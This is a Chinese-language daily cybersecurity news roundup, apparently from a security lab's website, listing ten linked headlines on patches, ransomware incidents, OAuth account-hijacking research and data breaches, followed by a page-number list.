免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日修复了84个漏洞,包括已被利用的0day漏洞 https://www.securityweek.com/microsoft-patch-tuesday-84-windows-vulns-including-already-exploited-zero-day 2、西门子、施耐德电气发布补丁解决了 59 个漏洞 https://www.securityweek.com/ics-patch-tuesday-siemens-schneider-electric-address-59-vulnerabilities 3、日本娱乐公司万代南梦宫遭ALPHV/BlackCat 勒索软件攻击 https://www.cnbeta.com/articles/tech/1291321.htm 4、微软宣布全面推出 Windows Autopatch 功能 https://securityaffairs.co/wordpress/133139/security/microsoft-autopatch.html 5、基于云的挖掘攻击滥用 GitHub Actions 和 Azure VM https://securityaffairs.co/wordpress/133125/malware/cryptocurrency-mining-cloud-infrastructure.html 6、研究人员发现可以通过滥用OAuth流程来执行单击帐户劫持 https://portswigger.net/daily-swig/dirty-dancing-in-oauth-researcher-discloses-how-cyber-attacks-can-lead-to-account-hijacking 7、微软撤回默认屏蔽Office宏的计划 https://www.solidot.org/story?sid=72078 8、美国FBI用于钓鱼的加密通信平台Anom代码被公开 https://www.secrss.com/articles/44525 9、英国格洛斯特议会服务遭网络攻击居民数据泄露 https://www.gloucestershirelive.co.uk/news/gloucester-news/hackers-access-bank-details-signatures-7308173 10、印度果阿邦的洪水监测系统遭到勒索软件攻击 https://ciso.economictimes.indiatimes.com/news/hackers-target-wrds-flood-monitoring-system/92739107
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页